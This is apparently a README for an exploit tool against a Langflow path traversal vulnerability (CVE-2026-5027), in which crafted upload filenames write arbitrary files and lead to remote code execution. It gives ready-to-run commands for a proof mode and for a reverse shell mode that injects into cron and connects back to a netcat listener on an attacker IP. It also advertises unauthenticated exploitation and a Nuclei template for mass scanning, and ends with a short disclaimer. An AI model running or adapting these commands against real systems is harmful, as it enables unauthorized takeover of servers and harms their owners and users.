🔥 CVE-2026-5027 - Langflow Path Traversal

Arbitrary File Write to RCE
Unauthenticated Remote Code Execution via File Upload

📌 Overview

Langflow suffers from a critical path traversal vulnerability in the file upload endpoint (POST /api/v2/files).

An attacker can send a malicious filename containing ../ sequences to write arbitrary files anywhere on the server filesystem.

This easily leads to full Remote Code Execution (RCE) — for example by dropping a webshell or injecting into crontab.

🛠️ Features

• ✅ Unauthenticated exploitation (default auto-login setups)
• ✅ Simple Proof-of-Concept (writes test file to /tmp)
• ✅ Full Reverse Shell via cron (Linux)
• ✅ Nuclei template included for mass scanning
• ✅ Easy to customize traversal depth

🚀 Quick Start

1. Proof of Concept (Safe Test)

python3 CVE-2026-5027.py -t http://target:7860/ --proof

Expected output if vulnerable:

[+] Success! File written: ../../../tmp/CVE-2026-5027-proof.txt

2. Full Reverse Shell

# Start listener
nc -lvnp 4444

# Run exploit
python3 CVE-2026-5027.py -t http://target:7860/ --lhost YOUR_IP --lport 4444

📁 Repository Contents

🎯 Usage Examples

Proof Mode

python3 CVE-2026-5027.py -t http://target.com/ --proof

Reverse Shell Mode

python3 CVE-2026-5027.py -t http://target.com/ --lhost 192.168.1.100 --lport 4444

⚠️ Disclaimer

This repository is for educational and authorized security testing purposes only.

Use responsibly and only on systems you have explicit permission to test.